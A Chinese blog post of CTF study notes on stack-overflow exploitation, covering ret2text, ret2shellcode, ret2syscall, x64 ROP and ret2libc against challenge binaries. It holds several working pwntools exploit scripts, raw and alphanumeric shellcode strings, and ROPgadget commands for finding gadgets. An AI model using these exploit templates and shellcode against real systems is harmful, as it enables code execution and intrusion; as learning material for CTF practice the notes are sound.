首页 > 其他分享 >栈溢出

栈溢出

时间:2024-02-21 21:15:12浏览次数:14  
标签:addr puts libc system io 溢出 p64

ret2text

Newstar Week1
from pwn import *
context.log_level = 'debug'
io = process('./ret2text')
# io = remote("node4.buuoj.cn",25439)
io.recvuntil(b"magic\n")
backdoor = 0x4011FB
shell = b'a'*0x28 + p64(backdoor)
io.sendline(shell)
io.interactive()

开启了栈不可执行保护

本题存在后门函数,并且有gets函数存在,可以实现溢出到返回地址,覆盖为后门函数地址即可获得shell

函数调用栈逻辑

image-20240101182425987

ret2shellcode

B0CTF新生赛
from pwn import *
io = process('./new_shellcode')
context.log_level = 'debug'
context.os='linux' # 指定操作系统,方便获取到正确的shellcode
context.arch="amd64" # 指定架构,方便获取到正确的shellcode
shellcode = asm(shellcraft.amd64.sh()) #asm改为机器码,shellcraft.sh()获取调用shell的汇编码,amd64获取64位shellcode
payload=shellcode.ljust(0x108, b'\x90') + p64(0x6010A0) # ljust向shellcode的尾部填充一定长度的字节,使我们写shellcode和实现控制返回地址,在一步之中完成,使用\x90即nop可以避免出现一些错误
io.sendline(payload)
io.interactive()
#\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05	amd64shellcode
#\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe1\x52\x53\x89\xe1\xb0\x0b\xcd\x80	32位调用
#可见型字符shellcode
#Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00gao@fossa
#PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx

image-20231228165920238

源程序几乎没有开启任何保护,并且有可读,可写,可执行段

在栈不可执行机制,以及随机化,故无法直接写在栈上shellcode,而bss段在题目中被赋予了可读可写可执行的权限,并且有全局变量存在(全局变量未初始化存在bss段,初始化的全局变量在data段)

本题可以通过strcpy将数据读入,调试发现rsp与rbp之间差0x100字符位置,且64位环境下指针为8字节,因此读入shellcode,再用108个垃圾数据覆盖,加上返回的bss段地址即可获得shell

ret2sycall

CTF-WIKI
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])	
#flat函数接受一个列表,然后将其转化字节型数据
sh.sendline(payload)
sh.interactive()

源程序为 32 位,开启了 NX 保护

本题没有后门函数,并且无全局变量可写入bss段,NX 保护开启,因此在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程,本题是静态链接,可直接使用gadget

偏移地址通过gdb调试,输入数据后,使用stack命令查看

ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
传递参数逻辑

如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以'bbbb' 作为虚假的地址,其后参数对应的参数内容

如果传参函数较多可以用 右侧方法 0
会执行system("/bin/sh"),puts("hello"),exit(0) "hello"
0 exit
"/bin/sh" puts
exit(可以用bbbb覆盖) "/bin/sh"
ebp: system(system执行后exit退出) pop_ret
local var(绕过ebp,exit/bbbb找到"/bin/sh"填入system) system

system调用先压ebp,然后向上寻找两个字长的长度,故将"/bin/sh"写到距system的8字节地方。其他函数需要查看具体实现的汇编代码

x64_rop

题目来源:XMCVE

x64与x86函数使用的参数的不同之处

x86在调用函数时,首先将函数所需参数逆序压入栈中,然后call指令会压入上次执行到的地址(返回地址),然后压入当前ebp的值,并将 ebp 寄存器的值更新为当前栈顶的地址,这样父栈的 ebp信息得以保存。同时,ebp 被更新为被调用函数的基地址。

x64在调用函数时,前6个参数不压入栈中,而是顺序加载到对应的寄存器中(rdi、rsi、rdx、rcx、r8、r9),参数超过6个后于x86一致(压入栈中),因此对于x64的题目,可以利用gadget操控寄存器的值(即找到pop_rdi_ret,有多个参数找对应寄存器)。两者都是先传参后调用

攻击代码

from pwn import *
io = process("./level2_x64")
elf = ELF("./level2_x64")
system = elf.plt["system"] #如果出现地址错误,就去IDA中找对应地址
pop_rdi_ret = 0x00000000004006b3 #将binsh压入rdi,再调用system,64位机器记录的为8字节长度,但可省略前面的0
binsh = next(elf.search(b"/bin/sh"))
payload = cyclic(0x88) + p64(pop_rdi_ret) + p64(binsh) + p64(system)	#到system后,会加载存放参数寄存器中的值
io.sendline(payload)
io.interactive()
利用gadgets
  1. eax=0xb
  2. ebx=/bin/sh 的地址
  3. ecx=0
  4. edx=0

利用ROPgadget工具查找对应的汇编命令

ROPgadget --binary pwn --only 'pop|ret' | grep 'eax'
ROPgadget --binary pwn  --only 'pop|ret' | grep 'ebx'
ROPgadget --binary pwn --string '/bin/sh'

找到对应的地址,然后利用gadget原理编写exp后,即可得到shell

ret2syscall参考

ret2libc

CTF-WIKI
from pwn import *
io = process('./ret2libc1')
backdoor = 0x08048720 
#backdoor = next(elf.search("/bin/sh"))
system = 0x08048460
#system = elf.plt["system"]
payload = flat(['a' * 112, system, 'b' * 4, backdoor])
io.sendline(payload)
io.interactive()

源程序为 32 位,开启了 NX 保护

本题是动态链接编译,可用gadget不足以直接完成系统调用,因此利用动态链接库的函数,在执行 gets 函数的时候出现了栈溢出,rop发现存在/bin/sh,ida中又可以找到system函数,由此编写exp。(c语言硬编码了字符,不能直接写"/bin/sh",传递地址)

第一次call system-->system@plt-->system@got,此时got存储是system@plt,于是立即返回,system@plt便会对system进行解析写入system@got,最终到system函数。

故第一次是call system-->system@plt-->system@got-->system@plt-->resolve-->system

之后引用是call system-->system@plt-->system@got-->system

ret2libc2

CTF-WIKI
from pwn import *
io = process('./ret2libc2')
elf = ELF("./ret2libc2")
system = elf.plt["system"]
gets = elf.plt['gets']
pop_ebx_ret = 0x0804843d 
buf2 = 0x0804A080
#payload = flat([112*'A',gets_adr,sys_adr,buf2_adr,buf2_adr]) 两个及以下可以用这种
payload = flat(['a'*112, gets, pop_ebx_ret, buf2, system, "a"*4, buf2])  #三个及以上用这种
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

源程序为 32 位,只开了堆栈不可执行

本题有system,但没有"/bin/sh",我们可以自己制造一个。先再bss段找一个变量,我们需要调用gets函数,读取一个bin/sh放在buf2,然后找到gets函数,去plt表看,再在后面的调用中把buf2作为参数。

ret2libc3

对应c语言知识

fflush 是 C 语言中的一个函数,用于清空指定的输出或输入缓冲区。当你需要确保数据立即输出或输入到相应的设备时,可以使用这个函数,,原型为int fflush(FILE *stream); stream为一个指向 FILE 对象的指针,该对象指定了一个输出或输入流。如果成功,返回值为 0,失败返回EOF。

read()函数是在C语言中用于从文件描述符读取数据的函数。

原型为ssize_t read(int fd, void *buf, size_t count);

  • fd:文件描述符,它是一个非负整数,用于标识打开的文件。0为stdin 1为stdout 2为error
  • buf:一个指向缓冲区的指针,用于存储从文件中读取的数据。c语言中通常用数组或char类型指针
  • count:要读取的字节数
  • 如果成功读取了count个字节,则返回读取的字节数。

先泄露libc某个函数的got表地址,不能直接通过gdb看,因为ASLR打开,每次会不一样。

无/bin/sh时,看一下是否存在一些数据末尾为sh,且其后没有其他数据,通过截取来调用,也可以使用libc中的/bin/sh

讲的和做的不一样了

标签:addr,puts,libc,system,io,溢出,p64
From: https://www.cnblogs.com/Anike/p/18026207

相关文章

  • 递归调用和栈溢出
    一、简介    栈溢出:StackOverflow。对于每个程序,栈能使用的内存是有限的,一般是1M-8M,在程序编译时就已经决定了,程序运行期间不能改变。如果程序使用的栈内存超出最大值,就会发生栈溢出错误,程序会崩溃。二、栈溢出的原因    因为每调用一个方法就会在栈上创建一个......
  • js判断单行文本是否有溢出
    需求是的单行文本溢出的时候显示展开按钮,需要判断文本是否有溢出       不知道还有没更好的方法,讲究用了,233......
  • Sunnyui画曲线溢出错误
    之前用sunnyui做展示数据库数据曲线的时候、偶然会报溢出错误,也不报错错误在哪,就是直接程序都跑不动了。后面发现设置曲线上下限的时候,当上下限一样的时候就会导致溢出错误、sunnyui的曲线也没有对其抛出异常对其maxTime和minTime进行数据处理就能解决这个问题了曲线就可以......
  • Redis整形溢出漏洞(CVE-2021-32761)及修复脚本
    今天的计划是修复线上的redis漏洞Redis整形溢出漏洞(CVE-2021-32761)及修复脚本目的:修复生产的redis漏洞,主要是整数溢出漏洞,但是过程中发现还有反弹shell漏洞(次要,毕竟需要密码)计划:获取生产的redis版本账号和密码在测试环境搭建反正环境漏洞的研究与证实测试环......
  • idea 项目编译内存溢出解决配置
    https://blog.csdn.net/malin970824/article/details/89843478 以下几种方式都可尝试下:1.在idea安装的bin目录修改配置文件 -Xms512m-Xmx2024m-Xss4M-XX:MaxPermSize=2024m 2.修改settings 3.修改tomcat-server-Xms512m-Xmx2024m-Xss4M-XX:PermSize=512M-XX:......
  • 记一次 .NET某道闸收费系统 内存溢出分析
    一:背景1.讲故事前些天有位朋友找到我,说他的程序几天内存就要爆一次,不知道咋回事,找不出原因,让我帮忙看一下,这种问题分析dump是最简单粗暴了,拿到dump后接下来就是一顿分析。二:WinDbg分析1.程序为什么会暴程序既然会爆,可能是虚拟地址受限,也可能是系统内存不足,可以用!address......
  • 记录一次线上内存溢出排查详细过程
    现象生产上频繁出现调用异常的信息查询生产服务器日志初步评估:查看了这个方法没有性能瓶颈,应该是服务本身出现问题、后来找运维要了一下线上dumpfile文件:内存溢出、猜测可能存在内存泄漏MAT初步排查 从第一个页面来看,内存到达1.7G出现内存溢出问题一:为什么1.7G就溢出了,......
  • 内存泄漏跟内存溢出区别?
    内存溢出指程序使用超过其分配的内存空间,通常程序没有正确的管理内存,比如是一次性加载过多的数据到内存中现象:导致程序无法获取所需要内存中断或者崩溃处理方式:通过优化程序的数据结构和算法,比如分次读取数据或文件,而不是一次性读取所有数据。      内存泄漏指的是......
  • 内存溢出会导致模块测试正常,植入系统失败
    前些天,遇到了一个问题:需要在系统中添加一个小功能,单独测试,然后植入系统。代码使用了从网上下载的函数,模块单独运行,没有问题,但是放在系统中运行就会出问题。不得已的情况下,只能一行行代码排查,发现一个地方使用了malloc但是没有使用free。结果,发现malloc(rdata_len1);之后使用了......
  • 内存溢出为什么不会被捕获到
    内存溢出(OutofMemory)是指程序在申请内存时,没有足够的内存供其使用,导致无法继续执行的情况。一般来说,内存溢出会导致程序抛出OutOfMemoryError错误,而不是被捕获到。OutOfMemoryError是Error的子类,而不是Exception的子类。在Java中,Error类型的错误通常表示严重问题,例如内......